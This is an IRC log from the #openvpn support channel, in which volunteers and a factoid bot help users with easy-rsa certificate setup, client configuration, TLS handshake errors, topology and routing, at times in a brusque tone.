10:03 -!- Jaska_ [~Q@gprs-internet-bcee68-126.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
10:05 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
10:05 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
10:05 -!- corretico [~luis@190.5.215.146] has joined #openvpn
10:06 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
10:07 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
10:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
10:10 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
10:11 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
10:13 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has joined #openvpn
10:17 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has quit [Ping timeout: 260 seconds]
10:22 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
10:25 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
10:27 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Read error: Connection reset by peer]
10:27 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
10:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:28 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
10:30 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
10:33 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
10:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:44 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 246 seconds]
10:46 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
10:54 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
10:59 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-qubynxhiisjqqlle] has quit [Ping timeout: 260 seconds]
11:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:00 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-zduopncreojlvpjr] has joined #openvpn
11:14 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
11:14 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:15 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
11:17 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
11:19 < pekster> sgiratch: It's an issue with the -rc1 release and OpenSSL-0.9.8. A fix is on -master (if you'd like just copy the easyrsa and openssl-1.0.cnf files over)
11:19 < pekster> The exact fix is this commit: https://github.com/OpenVPN/easy-rsa/commit/8b1fe01
11:19 <@vpnHelper> Title: Support OpenSSL-0.9.8 with the EXTRA_EXTS feature · 8b1fe01 · OpenVPN/easy-rsa · GitHub (at github.com)
11:22 < sgiratch> I rolled back to 2.2.2
11:23 < sgiratch> I was setting up a new system so it didnt matter
11:24 -!- Jaska__ [~Q@gprs-internet-bceec1-165.dhcp.inet.fi] has joined #openvpn
11:25 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
11:25 -!- Jaska__ [~Q@gprs-internet-bceec1-165.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
11:27 -!- Jaska__ [~Q@gprs-internet-bceec1-165.dhcp.inet.fi] has joined #openvpn
11:27 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 252 seconds]
11:29 -!- Jaska__ [~Q@gprs-internet-bceec1-165.dhcp.inet.fi] has quit [Read error: No buffer space available]
11:29 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has joined #openvpn
11:30 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
11:49 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
11:55 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
11:56 -!- corretico [~luis@190.5.215.146] has joined #openvpn
12:23 -!- kaitrek [~kaitrek@99-100-178-103.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
12:23 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
12:25 < kaitrek> anyone know where easy-rsa v2.2.0 is installed into on redhat like distro?
12:26 < pekster> Depends on where your distro packager put it
12:27 < pekster> As of openvpn 2.3, easy-rsa is a separate package. Sometimes maintainers put it in /etc/easy-rsa, or /usr/share/easy-rsa, or similar
12:27 < pekster> Check your RPM for hints
12:28 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 272 seconds]
12:30 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
12:35 < kaitrek> should i copy /usr/share/easy-rsa directory elsewhere because it would be overwritten on update of package or can i build PKI right there?
12:37 < pekster> Don't build your PKI there for 2 reasons: 1) you shouldn't be doing it as root (doing things needlessly as root is bad for security) and 2) if you make any changes to the 'vars' file, that will get clobbered on update
12:38 < pekster> Do your PKI tasks as a non-root user, and personally I prefer using a dedicated account so that the files aren't even readable by my daily user
12:39 < kaitrek> where should I do it?
12:40 < kaitrek> am I correct in understanding that I need to copy that whole dir elsewhere?
12:40 < kaitrek> or just the vars file?
12:40 < pekster> Just copy it all; it's tiny
12:40 < kaitrek> is /etc/easy-rsa good?
12:41 < pekster> The location doesn't matter, just be careful with the file permissions and you'll be fine
12:41 < kaitrek> k thx
12:43 < kaitrek> export KEY_EMAIL="me@myhost.mydomain"
12:43 < kaitrek> export KEY_EMAIL=mail@host.domain
12:43 < kaitrek> any idea why those 2 fields are in vars?
12:44 -!- noecc [~irc@unaffiliated/noecc] has left #openvpn ["pax"]
12:44 < pekster> clearly the 2nd doesn't do any good. It's not going to hurt anything though
12:45 < kaitrek> yeah, just checked v2.x github
12:45 < pekster> fwiw, the 2.2 series is basically in a 'maintenance mode' now with the easy-rsa v3 code nearly ready to move out of rc to a first "official" release
12:45  * pekster needs to get an -rc2 out this weekend, actually ;)
12:46 < pekster> If there are issues impacting v2 we're happy to fix them, but most ongoing development focus is on the new codebase
12:54 < kaitrek> any idea why the following field is in plain text? and will it be saved in plaintext elsewhere like the certif?
12:54 < kaitrek> Please enter the following 'extra' attributes
12:54 < kaitrek> to be sent with your certificate request
12:54 < kaitrek> A challenge password []:
12:54 < kaitrek> from build-key-server
12:55 < pekster> That's entierly unused by openssl (v3 does away with pointless bits like that)
12:56 < pekster> just press enter and leave it blank. Or define something and it'll get embedded in the request (and subsequently ignored ;)
13:06 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:07 -!- pepijndevos [pepijndevo@2a00:dcc0:eda:3754:247:55:9194:8ed6] has left #openvpn ["Leaving"]
13:11 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
13:14 < wallbroken_u_z> do you think that I should store all the "pki" folder?
13:15 < pekster> Why on earth wouldn't you? How do you plan to revoke retired or compromised certs otherwise if you torch the CA?
13:16 < pekster> You don't really need to keep any of the temporary PKIs for your client/server though if you're separating CA and end-entity duty
13:16 < pekster> Once you have a keypair and signed cert (returned from your CA) the request itself isn't useful anymore
13:18 < wallbroken_u_z> i've saved, ca.crt, ca.key, client.crt, client.key, server,crt, server,key
13:18 < wallbroken_u_z> in this way, I can't revoke certs if i want?
13:20 < pekster> Nope, not without your index file; you also can't issue the next cert without the next valid serial number
13:20 < pekster> Once again, please stop trying to intentionally break your CA
13:20 < pekster> If you don't keep your CA PKI in-tact, it _will_ cause you pain and suffering later, and no one here will care much, if at all
13:23 < wallbroken_u_z> ok, so do I need to save all the pki folder?
13:23 < wallbroken_u_z> to generate new certs later..
13:24 < pekster> To do anything with your CA later, you need the CA structure, yes
13:25 < wallbroken_u_z> ok, what precisely is the "CA structure" ?
13:26 < pekster> Defined in the Readme. (I recommend you read it)
13:26 < pekster> https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/doc/EasyRSA-Readme.md#getting-started-the-basics
13:26 <@vpnHelper> Title: easy-rsa/doc/EasyRSA-Readme.md at v3.0.0-rc1 · OpenVPN/easy-rsa · GitHub (at github.com)
13:27 < pekster> Read that entire thing, and maybe the 'Intro-To-PKI' if you want a more basic overview of how PKI works in general
13:27 < wallbroken_u_z> ok
13:27 < pekster> There's also an openvpn specific howto steps (for both v2 and v3) linked from the wiki here:
13:27 < pekster> !easy-rsa
13:27 <@vpnHelper> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) https://community.openvpn.net/openvpn/wiki/EasyRSA
13:27 < wallbroken_u_z> thank you for yesterday, you wrote for me the howto about --mode
13:28 <+Aketzu> I wonder how hard it would be to implement some kind of pop quiz to bot.. cannot get voice without reading readmes :)
13:30 < pekster> !learn addressing as For information about IP addressing in OpenVPN, see: https://community.openvpn.net/openvpn/wiki/Concepts-Addressing
13:30 <@vpnHelper> Joo got it.
13:32 < wallbroken_u_z> pekster, i tried also implementing mode p2p, it works only with 1 client at time
13:32 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
13:32 < wallbroken_u_z> one-to-one, and not one-to-many
13:32 < pekster> Yes, That's how Point-To-Point addressing works
13:33 < wallbroken_u_z> is there some situation that it could be usefull?
13:33 < pekster> When you only have 2 endpoints
13:33 < pekster> (the only possible use of PtP networking.) This classifies as a basic networking concept that you are best asking a generic networking channel if you don't understand
13:38 < wallbroken_u_z> pekster, i'm sorry, also vars.example do i need to save? it's not in the pki folder
13:40 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
13:42 < pekster> Save everything related to your PKI. Don't do so at your own peril
13:43 < pekster> I have no clue why you'd remove a file that shows you how to make customizations
13:43 < pekster> Try reading "Configuring Easy-RSA" in the readme I linked earlier. It's a very bad sign when you continue to ask questions so basic I can do nothing but scold you on not having read it
13:47 -!- Devastator [~devas@186.214.111.67] has quit [Ping timeout: 245 seconds]
13:51 < wallbroken_u_z> ok, vars it's not part of pki infrastructure
13:54 < pekster> It's all part of Easy-RSA. It's not something openssl directly relies on, no
13:55 < pekster> Easy-RSA is a lot more than just openssl
14:01 < wallbroken_u_z> so I just saved only pki folder, it's not usefull to save all the asyrsa folder, also because right now is a release candidate
14:02 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
14:04 < pekster> That logic is clearly flawed if you've made custom changes. I don't really care what you do on your own system though
14:04 < pekster> vars is _designed_ to be changed, hence all the comments that tell you how to change it (obviously)
14:04  * pekster shrugs
14:05 < wallbroken_u_z> no, i never used vars
14:05 < wallbroken_u_z> infact is still named vars.example
14:06 < wallbroken_u_z> generally when you want tu use vars, you need to load it with "source ./vars"
14:07 < pekster> Only in v2. v3 did away with that nonsense
14:07 < wallbroken_u_z> also because the manual not mentioned: https://community.openvpn.net/openvpn/wiki/EasyRSA3-Insecure-PKI
14:07 <@vpnHelper> Title: EasyRSA3-Insecure-PKI – OpenVPN Community (at community.openvpn.net)
14:19 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
14:21 < wallbroken_u_z> <pekster> Only in v2. v3 did away with that nonsense <<< what did away? I've mistaken
14:21 < pekster> You don't "source" vars anymore. If you try, v3 yells at you
14:22 < pekster> Clearly you haven't read the comments in that file that explain this. Or the main Easy-RSA readme that explains this.
14:23 < pekster> https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/doc/EasyRSA-Readme.md#configuring-easy-rsa or https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/easyrsa3/vars.example#L7
14:23 <@vpnHelper> Title: easy-rsa/doc/EasyRSA-Readme.md at v3.0.0-rc1 · OpenVPN/easy-rsa · GitHub (at github.com)
14:23 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:23 < wallbroken_u_z> ok, let's read
14:26 < wallbroken_u_z> "Note that a vars file must be named just vars (without an extension) to actively use it." ok, if i do not rename it, i do not use it, and where the info like "EASYRSA_REQ_COUNTRY" and other are be taken?
14:26 < pekster> bulit-in defaults. And that's entierly unused in the default mode of operation anyway
14:28 < pekster> Are you unable to read, or just lazy and would rather be spoonfed (spoonfeed is what we do for children who can't feed themselves, much like you've demonstrated you can't read for yourself)
14:28 < pekster> Maybe read lines 13-15 of the 'vars.example' file that explain the defaults are there and only need to be touched if you want to change them
14:29 < pekster> Maybe your lazyness missed the bit about the "Define X509 DN mode" section (line 67 as of 3.0.0-rc1) where those fields are explained
14:29 < pekster> I don't really care anymore
14:31 < wallbroken_u_z> ok, this means that by default "cn_only" is used
14:32 < wallbroken_u_z> sometimes I try to understand without reading too much, also because this is not my own language, bue just "sometimes", today is one of them.
14:40 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
14:40 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:41 -!- mode/#openvpn [+v s7r] by ChanServ
14:58 -!- aji [~alex@atheme/member/aji] has quit [Remote host closed the connection]
15:01 -!- aji [~alex@atheme/member/aji] has joined #openvpn
15:12 -!- kolbyjack [~kolbyjack@nginx/adept/kolbyjack] has joined #openvpn
15:18 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
15:33 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
15:34 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
15:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
15:41 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
15:47 -!- elfixit [~fix@151.217.248.42] has joined #openvpn
15:49 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
15:49 -!- elfixit1 [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has joined #openvpn
15:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:06 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
16:07 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
16:07 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
16:14 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Quit: Byebye]
16:15 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has joined #openvpn
16:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:20 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has quit [Ping timeout: 252 seconds]
16:24 -!- elfixit [~fix@151.217.248.42] has quit [Ping timeout: 246 seconds]
16:24 -!- elfixit1 [~Icedove@2001:67c:20a1:1224:863a:4bff:fe93:6310] has quit [Ping timeout: 240 seconds]
16:33 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
16:40 -!- kolbyjack [~kolbyjack@nginx/adept/kolbyjack] has left #openvpn ["Leaving"]
16:43 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
16:44 <@ecrist> krzee: #openvpn 218, #freeswitch 219
16:44 <@ecrist> :D
16:48 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
16:49 -!- Probeus_ [probeus@probeus.no] has quit [Ping timeout: 240 seconds]
16:49 -!- Probeus [probeus@probeus.no] has joined #openvpn
16:55 -!- Aelius_ is now known as Aelius
16:57 -!- debbie10t2 [~ma1com10t@host-92-20-1-125.as13285.net] has left #openvpn []
17:11 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
17:11 -!- Devastator [~devas@186.214.111.67] has quit [Ping timeout: 260 seconds]
17:13 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
17:16 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 240 seconds]
17:46 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:46 -!- wrongplace [~leicht@gateway/tor-sasl/martinphone] has joined #openvpn
17:47 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 245 seconds]
17:48 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 272 seconds]
17:54 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 260 seconds]
18:06 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
18:10 -!- BtbN [btbn@btbn.de] has quit [Quit: Bye]
18:10 -!- BtbN [btbn@btbn.de] has joined #openvpn
18:10 -!- wrongplace [~leicht@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:11 -!- wrongplace [~leicht@gateway/tor-sasl/martinphone] has joined #openvpn
18:30 -!- Devastator [~devas@186.214.111.67] has joined #openvpn
18:31 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:39 -!- Devastator [~devas@186.214.111.67] has quit [Changing host]
18:39 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:00 -!- master_of_master [~master_of@p4FF24725.dip0.t-ipconnect.de] has joined #openvpn
19:01 -!- james41382_ [~james@unaffiliated/james41382] has quit [Quit: Leaving]
19:02 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 260 seconds]
19:03 -!- master_o1_master [~master_of@p4FD7B422.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
19:43 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
19:43 -!- james41382_ is now known as james41382
19:50 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 246 seconds]
19:53 -!- wrongplace [~leicht@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:58 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
20:02 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
20:15 <+dowaat> I am attempting to build a vpn server... there was never a generation of the dh phem file
20:15 <+dowaat> only a file called 01.pem....
20:16 < pekster> dowaat: Follow the PKI steps more carefully; one of them builds the dhparams
20:17 <+dowaat> ok
20:18 < pekster> fwiw, you can do that on your VPN server and not the structure you're using for your CA PKI if you wish
20:19 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
20:20 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
20:29 -!- corretico [~luis@190.5.215.146] has quit [Ping timeout: 240 seconds]
21:05 -!- corretico [~luis@190.5.215.146] has joined #openvpn
21:05 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has quit [Ping timeout: 246 seconds]
21:06 -!- propheticsquiddy [~Proph@unaffiliated/propheticsquiddy] has joined #openvpn
21:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:28 < kaitrek> i'm confused, my server is linux and my client is windows, how do i configure the windows client to connect to the vpn with the right keys? does it require openvpn software or will default windows 8 vpn work?
21:30 <@EugeneKay> !download
21:30 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
21:30 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
21:30 <@EugeneKay> openvpn is its own protocol; Window's vpn services does not support it,
21:31 <@EugeneKay> The OS doesn't matter; you just copy the key files around.
21:33 < kaitrek> thx
21:35 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
21:36 < dimm0k> other than ifconfig listing the tun0 interface, is there something else i can use in a bash script to verify if there is indeed a vpn connection?
21:36 <@EugeneKay> Read the MANAGEMENT INTERFACE section of the man page
21:36 <@EugeneKay> !man
21:36 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
21:37 <@EugeneKay> Or maybe it's just --management and the details are a separate file; I forget.
21:37 < pekster> dimm0k: You also might consider using script hooks for connect/disconnect. !scripts has info and a manpage reference
21:37 <@EugeneKay> (rarely used it myself)
21:38 < dimm0k> !scripts
21:38 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
21:45 < kaitrek> how come client.csr file isn't listed in the table? http://openvpn.net/index.php/open-source/documentation/howto.html
21:45 <@vpnHelper> Title: HOWTO (at openvpn.net)
21:45 < kaitrek> also 01/02.pem
21:46 < kaitrek> whats .csr used for, is it? does it need to be copied to client/server?
21:47 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:47 < pekster> .csr (sometimes .req) is a "certificate request" file (PKCS#10 in technical terms) that is processed by a CA
21:47 < pekster> This intoduction to PKI might help you understand the basics:
21:48 < pekster> !learn into-to-pki as For an intro to PKI basics, see: https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/doc/Intro-To-PKI.md
21:48 <@vpnHelper> Joo got it.
21:57 < kaitrek> is this line valid in config on win8? ca "c:\Program Files\OpenVPN\keys\ca.crt"
21:59 < pekster> kaitrek: Need to escape your backslashes, or use forward-slashes instead (which is allowed by Windows)
21:59 < pekster> So, "C:/Example/Path" or "C:\\Example\\Path"
22:02 < kaitrek> why would this happen? TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
22:02 < kaitrek> TLS Error: TLS handshake failed
22:03 < pekster> Firewall problems, or the remote side refused the connection (check logs on the remote end to verify that 2nd option)
22:03 < kaitrek> fixed path, but get tls error
22:04 < kaitrek> ok
22:07 < kaitrek> disabled firewall on client, still same issue how do i check server side logs?
22:07 < pekster> !logfile
22:08 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
22:09 < kaitrek> ahh iptables server side
22:12 < kaitrek> is there other port needs to be open except 1194 udp?
22:12 < kaitrek> !port
22:12 < kaitrek> !ports
22:17 < kaitrek> ok so i'm connected to the server, how do I make the browser/other programs utilize the VPN tunnel instead of the current wireless internet?
22:17 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has joined #openvpn
22:18 < pekster> Once you have basic VPN connectivity where you can ping your VPN server IP, read/follow: !redirect
22:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
22:19 < kaitrek> lol, wtf, cmd.exe says ping is not a recogn. program :O
22:21 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:22 -!- zxd [~zxd@bzq-79-180-55-12.red.bezeqint.net] has quit [Ping timeout: 272 seconds]
22:25 < kaitrek> DHCP-serv: 10.8.0.5, tried pinging it, but it times out
22:25 < kaitrek> i can ping myself though on 10.8.0.6
22:26 < kaitrek> why does the vpn gui say that I'm connected to client, shouldn't it say to server?
22:27 < pekster> You can't ping the endpoint of a net30 style connection
22:28 < pekster> The server lives at .1 regarldess of the old network behavior. Really, you should use subnet topology
22:28 < pekster> Read !topology for a wiki writeup
22:28 < kaitrek> !topology
22:29 < kaitrek> i'm lost
22:29 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
22:29 < kaitrek> !redirect
22:30 < pekster> Bot must be out to lunch. Here's the link: https://community.openvpn.net/openvpn/wiki/Topology
22:30 < pekster> The server is at .1
22:31 -!- kro[au] [~thatguy@kgovps.net] has quit [Excess Flood]
22:32 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:32 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
22:32 <@vpnHelper> Title: Topology – OpenVPN Community (at community.openvpn.net)
22:32 < kaitrek> ah ok .1 is the server, pings now
22:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
22:33 < pekster> kaitrek: Since the bot is having problems, the full list of factoids is here: http://www.secure-computing.net/factoids.php
22:33 -!- kro[au] [~thatguy@kgovps.net] has joined #openvpn
22:33 < kaitrek> !def1
22:34 <@vpnHelper> Title: SCN: vpnHelper Factoids (at www.secure-computing.net)
22:34 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
22:34 -!- fridmarr [~fridmarr@109.201.154.168] has joined #openvpn
22:35 < kaitrek> what's redirect-gateway ?
22:36 < kaitrek> ahh ok
22:36 < kaitrek> vpn config
22:36 < kaitrek> http://openvpn.net/index.php/open-source/documentation/howto.html
22:36 < kaitrek> i got it
22:36 -!- BigShip [~BigShip@d-66-212-213-207.cpe.metrocast.net] has joined #openvpn
22:38 < kaitrek> wait so if all traffic isn't auto routed thorugh the VPN, what's the point of the VPN? do I have to manually setup routing connections for different programs/IPs or something, wtf?
22:38 <@vpnHelper> Title: HOWTO (at openvpn.net)
22:38 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Excess Flood]
22:39 < pekster> Traffic is routed if you route 0/1 and 128/1 (unless it's on a local network, which always has a higher priority)
22:39 < pekster> That's how routing tables work
22:40 < kaitrek> ok, a little slow on the uptake here, but say i have software which works off the office network only, due to the server's firewall releasing keys on localnet, i'm using my office computer as VPN, so that I could run the software on my client
22:41 < kaitrek> how do I set it up so that the softwar would talk over VPN as if it was on the local network at the office?
22:44 <+dowaat> interesting. so I've got the dd-wrt config set up and, just for temporary measures, disabled iptables...
22:44 <+dowaat> it appears that the client resolves the host but never gets a connection, it sits there waiting for... something.
22:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:48 < BigShip> Moved my server home and I can't connect now. It worked fine on campus (with a public IP). Now that I'm behind a router I'm able to connect to the server but can't browse while connected. ( http://paste.linuxassist.net/view/02095c66 http://paste.linuxassist.net/view/ea39b7a5 http://paste.linuxassist.net/view/6ed8d469 )
22:48 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
22:49 < pekster> kaitrek: 3 options: A) Set up return routing so the server-side LAN knows about the VPN network, B) perform NAT on the traffic across the VPN server C) with coordination with your server-side network, do bridging
22:49 -!- corretico [~luis@190.5.215.146] has quit [Read error: Connection reset by peer]
22:49 -!- corretico [~luis@190.5.215.146] has joined #openvpn
22:59 -!- fridmarr [~fridmarr@109.201.154.168] has quit [Quit: Leaving]
23:00 -!- fridmarr [~fridmarr@109.201.152.250] has joined #openvpn
23:04 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Remote host closed the connection]
23:11 < kaitrek> pekster option A, route shows 2 entries already, should there be more? how do i setup option A?
23:11 < pekster> With:
23:11 < pekster> !serverlan
23:11 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
23:11 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
23:17 < kaitrek> pekster what if the "local" network is actually using public IP addresses?
23:18 < kaitrek> on the server side
